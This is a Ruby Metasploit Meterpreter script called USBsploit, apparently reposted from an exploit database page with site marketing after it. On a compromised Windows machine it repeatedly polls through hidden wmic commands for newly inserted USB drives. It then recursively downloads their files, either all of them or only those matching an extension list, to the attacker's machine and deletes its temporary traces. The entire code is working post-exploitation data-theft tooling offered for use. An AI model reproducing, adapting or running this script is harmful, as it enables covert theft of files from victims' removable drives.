`### $Id: usbploit.rb 2010-06-19 22:46:25Z XPO $
### Contact : [email protected] or http://twitter.com/secuobs
### Tested target : Windows XP Pro SP3 into vmware server from a GNU/Linux host (USBsploit needs wmic on the targets to work)
os = client.sys.config.sysinfo['OS']
host = client.sys.config.sysinfo['Computer']
require 'net/http'
### options
@@exec_opts = Rex::Parser::Arguments.new(
"-d" => [ false,"Dump all the files and directories."],
"-h" => [ false,"Help menu."],
"-t" => [ false,"Dump only the text files using a predefined extensions sets (Autamatic download set file if needed). Must be placed after the -e parameter if not default value"],
"-e" => [ true,"Specify a personnal file path with a specific extensions set to dump, must be enclosed between double quotes if complex path. Must be placed before the -t parameter if not default value."],
"-w" => [ false,"Run the scan only one time instead of the infinite while."],
"-v" => [ false,"Activate high verbosity"],
)
################## function declaration Declarations ##################
### help
def usage
puts @@exec_opts.usage
print_line("USAGE: ")
print_line("With Metasploit >>> run usbsploit -w -v -e /opt/metasploit3/msf3/msf/data/textextensions -t")
print_line("Previous command Will dump only the files matching the extensions set defined by the personnal extensions file and this will be done while a scan is successfull. High verbosity is also activated. NOTE: USBsploit needs wmic on the targets to work!!!\n")
end
### executing remote wmic commands
def wmicexec(client,wmiccmds= nil)
windr = ''
tmpout = ''
windrtmp = ""
client.response_timeout=120
begin
tmp = client.fs.file.expand_path("%TEMP%")
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
wmiccmds.each do |wmi|
r = client.sys.process.execute("cmd /c wmic /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true})
sleep(2)
#Making sure that wmic finnishes before executing next wmic command
prog2check = "wmic.exe"
found = 0
while found == 0
client.sys.process.get_processes().each do |x|
found =1
if prog2check == (x['name'].downcase)
sleep(0.5)
found = 0
end
end
end
r.close
end
### Read the output file of the wmic commands
wmidrivefile = client.fs.file.new(wmicfl, "rb")
until wmidrivefile.eof?
tmpout << wmidrivefile.read
end
wmidrivefile.close
wmidrivefile.close
rescue ::Exception => e
end
### We delete the file with the wmic command output.
c = client.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
c.close
tmpout
end
### handle files
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
### test if file exists remotely
def remoteexists(dst)
value = client.fs.dir.entries(dst)
return value
rescue
return false
end
### test if a drive still exists remotely
def remotedriveexists(dst)
value = client.fs.dir.entries(dst)
return true
rescue
return false
end
### recursive and differential downloader
def dumper(dst,src,dump,verbose,host,extensionsfile,volumeserialnumber)
begin
### if a dump attack was chosen
if dump == "true" or dump == "extension"
state = 0
### for each item on the drive
if (value = remotedriveexists(src + File::SEPARATOR) == true)
each = client.fs.dir.entries(src)
each.each { |src_sub|
if (src_sub == '.' or src_sub == '..')
next
end
src_item = src + File::SEPARATOR + src_sub
dst_item = dst + ::File::SEPARATOR + src_sub
src_stat = client.fs.filestat.new(src_item)
### if item is a file
if (src_stat.file?)
### check local size if file exist allready locally
if ::File.exists?(dst_item)
dst_size = File.size(dst_item)
else
dst_size = "NULL"
end
if src_stat.size == dst_size
### same size
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" unchanged compare to local copy \"#{dst_item}\"")
end
else
### different size or no local copy, download the file
### download only file matching the extensions set if option chosen
if dump == "extension"
openextension = 0
File.readlines(extensionsfile).map {|extension|
begin
if extension.gsub("\n","") == File.extname(dst_item).gsub(".","")
client.fs.file.download_file(dst_item, src_item)
state += 1
openextension = 1
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\", extension \"#{extension.gsub("\n","")}\" matchs the set chosen")
end
end
end
}
if openextension == 0
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" wasn't donwloaded, \"#{File.extname(dst_item).gsub(".","")}\" not part of the extensions range chosen")
end
end
else
### download file without taking care of an extensions set
client.fs.file.download_file(dst_item, src_item)
state += 1
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\"")
end
end
end
### if item is a directory
elsif (src_stat.directory?)
if ::File.exists?(dst_item)
else
### create the local directory identified on the remote drive if not exist
::Dir.mkdir(dst_item)
end
### relaunch dumper function on the sub directory
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") directory and under files from \"#{host}\" will be checked")
end
statet = state
state = dumper(dst_item,src_item,dump,verbose,host,extensionsfile,volumeserialnumber)
state += statet
end
}
end
end
end
return state
rescue ::Exception => e
return state
end
### parsing options
dump = "false"
verbose = "false"
stopwhile = "false"
extensionsfile = ::File.join(Msf::Config.data_directory, 'textextensions' )
@@exec_opts.parse(args) do |opt, idx, val|
case opt
when "-d"
dump = "true"
when "-e"
if ::File.exists?(extensionsfile)
dump = "extension"
extensionsfile = val
else
raise "Personnal extensions set File \"#{val}\" does not exist!"
end
when "-t"
if ::File.exists?(extensionsfile)
dump = "extension"
else
Net::HTTP.start("www.secuobs.com") do |http|
req = Net::HTTP::Get.new("/usbsploit/textextensions}")
resp = http.request(req)
::File.open(::File.join(Msf::Config.data_directory, "textextensions"), "wb") do |fd|
fd.write(resp.body)
end
end
if ::File.exists?(extensionsfile)
print_status("\"#{Msf::Config.data_directory}/textextensions\" downloaded \"from http://www.secuobs.com/usbsploit/textextensions\"")
dump = "extension"
else
raise "Text extensions set File \"#{extensionsfile}\" does not exists and can't be downloaded!"
end
end
when "-w"
stopwhile = "true"
when "-v"
verbose = "true"
when "-h"
usage
raise Rex::Script::Completed
end
end
if args.length == 0
dump = "true"
end
### variable declarations
commands = ["LogicalDisk WHERE \"Description = 'Removable Disk'\" get DeviceID"]
nbdrive = 0
state = 0
### Create a directory for the dumps
logstmp = ::File.join(Msf::Config.log_directory, 'usbsploit' )
logs = logstmp + "/" + host
if ::File.exists?(logs)
else
::FileUtils.mkdir_p(logs)
end
### declaration tracking files
drivefile = logstmp + "/drive" + host
volumeserialnumberfile = logstmp + "/volumeserialnumber" + host
oldvolumeserialnumberfile = logstmp + "/oldvolumeserialnumber" + host
### cleaning
if ::File.exists?(oldvolumeserialnumberfile)
File.unlink(oldvolumeserialnumberfile)
end
### start
print_status("Start launching USBsploit module Dump on the remote target \"#{host}\"")
print_status("Waiting for removable drives to be inserted, remember USBsploit needs wmic on the targets to work!!!")
first = 0
temp = 0
while temp < 1
dumped = 0
newnbdrive = 0
### cleaning
if ::File.exists?(volumeserialnumberfile)
File.unlink(volumeserialnumberfile)
end
if ::File.exists?(drivefile)
File.unlink(drivefile)
end
### number of drives plugged
filewrt(drivefile, wmicexec(client,commands))
::File.open(drivefile, "r").each_line do |drive|
begin
drive = drive.gsub(/[^\w|:]/,"")
if drive =~ /:/
newnbdrive += 1
end
end
end
### If at least one drive is plugged now and one was plugged during the last scan
if newnbdrive > 0 and nbdrive > 0
if newnbdrive > 1 and nbdrive > 1
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drives were previously inserted")
elsif newnbdrive > 1 and nbdrive == 1
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drive was previously inserted")
elsif newnbdrive == 1 and nbdrive > 1
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drives were previously inserted")
elsif newnbdrive == 1 and nbdrive == 1
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drive was previously inserted")
end
### Get the list of all plugged drives this time
::File.open(drivefile, "r").each_line do |drive|
begin
drive = drive.gsub(/[^\w|:]/,"")
if drive =~ /:/
### Get the volumeserialnumber for the plugged drive checked at this time
newvolumeserialnumber = 1
openvolumeserialnumber = 0
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]
filewrt(volumeserialnumberfile, wmicexec(client,command))
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|
begin
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")
if volumeserialnumber =~ /\d/
openvolumeserialnumber = 1
### Recover all the volumeserialnumber values for the drives plugged during the last scan
if ::File.exists?(oldvolumeserialnumberfile)
::File.open(oldvolumeserialnumberfile, "r").each_line do |oldvolumeserialnumber|
begin
oldvolumeserialnumber = oldvolumeserialnumber.gsub(/[^\w|:]/,"")
if oldvolumeserialnumber =~ /\d/
### Check if this volumeserialnumber was part of the recovered ones from the last scan
if volumeserialnumber == oldvolumeserialnumber
newvolumeserialnumber = 0
if verbose == "true"
print_status("\"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\") found on \"#{host}\" but was allready inserted before and dumped")
end
else
### nothing to do here
end
end
end
end
else
newvolumeserialnumber = 1
end
end
end
end
if newvolumeserialnumber == 1 and openvolumeserialnumber == 1
### Check if the new plugged drive is allways plugged at this time
sleep(2)
if (value = remotedriveexists(drive + File::SEPARATOR) == true)
if ::File.exists?(volumeserialnumberfile)
File.unlink(volumeserialnumberfile)
end
filewrt(volumeserialnumberfile, wmicexec(client,command))
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|
begin
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")
if volumeserialnumber =~ /\d/
### Create a directory for the dumps
logskey = logstmp + "/" + host + "/" + volumeserialnumber
if ::File.exists?(logskey)
else
::FileUtils.mkdir_p(logskey)
end
if dump == "true" or dump == "extension"
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")
end
### Dump the files from the new plugged drive
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)
dumped += 1
if dump == "true" or dump == "extension"
if state == "00" or state == ''
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")
elsif state == 1
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")
else
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")
end
end
end
end
end
else
### The new plugged drive checked was unplugged
if verbose == "true"
if dump == "true" or dump == "extension"
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")
end
end
end
else
### The plugged drive checked was allready part of the last scan
end
if ::File.exists?(volumeserialnumberfile)
File.unlink(volumeserialnumberfile)
end
end
end
end
### elsif at least one drive is plugged this time and any during the last scan
elsif newnbdrive > 0 and nbdrive == 0
if first == 0
if newnbdrive > 1
print_status("#{newnbdrive} drives are initially plugged into \"#{host}\" when USBsploit starts")
elsif newnbdrive == 1
print_status("#{newnbdrive} drive is initially plugged into \"#{host}\" when USBsploit starts")
end
first = 1
else
if newnbdrive > 1
print_status("#{newnbdrive} drives are now plugged into \"#{host}\", any drive was previously inserted")
elsif newnbdrive == 1
print_status("#{newnbdrive} drive is now plugged into \"#{host}\", any drive was previously inserted")
end
end
### Get the list of all plugged drives this time
::File.open(drivefile, "r").each_line do |drive|
begin
drive = drive.gsub(/[^\w|:]/,"")
if drive =~ /:/
### check if the new drive is allways plugged
sleep(2)
if (value = remotedriveexists(drive + File::SEPARATOR) == true)
### Get the volumeserialnumber for the plugged drive checked at this time
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]
if ::File.exists?(volumeserialnumberfile)
File.unlink(volumeserialnumberfile)
end
filewrt(volumeserialnumberfile, wmicexec(client,command))
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|
begin
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")
if volumeserialnumber =~ /\d/
logskey = logstmp + "/" + host + "/" + volumeserialnumber
if dump == "true" or dump == "extension"
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")
end
### Create a directory for the dumps
if ::File.exists?(logskey)
else
::FileUtils.mkdir_p(logskey)
end
### Dump the files from the new plugged drive
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)
if dump == "true" or dump == "extension"
if state == "00" or state == ''
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")
elsif state == 1
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")
else
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")
end
end
dumped += 1
if stopwhile == "true"
temp += 1
end
end
end
end
else
### The new plugged drive checked was unplugged
if verbose == "true"
if dump == "true" or dump == "extension"
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")
end
end
end
end
end
end
end
### refresh the number of plugged drives for future checks
if dumped == 0
if newnbdrive == 1
else
end
else
if dumped == 1
if newnbdrive == 1
else
end
else
if newnbdrive == 1
else
end
end
end
if newnbdrive == nbdrive
else
if ::File.exists?(oldvolumeserialnumberfile)
File.unlink(oldvolumeserialnumberfile)
end
### Save the volumeserialnumber of each plugged drives for future checks
::File.open(drivefile, "r").each_line do |drive|
begin
drive = drive.gsub(/[^\w|:]/,"")
if drive =~ /:/
if (value = remotedriveexists(drive + File::SEPARATOR) == true)
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]
filewrt(oldvolumeserialnumberfile, wmicexec(client,command))
end
end
end
nbdrive = newnbdrive
end
end
if ::File.exists?(drivefile)
File.unlink(drivefile)
end
### delay for 2 continuous scans
#sleep(10)
end
raise Rex::Script::Completed
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation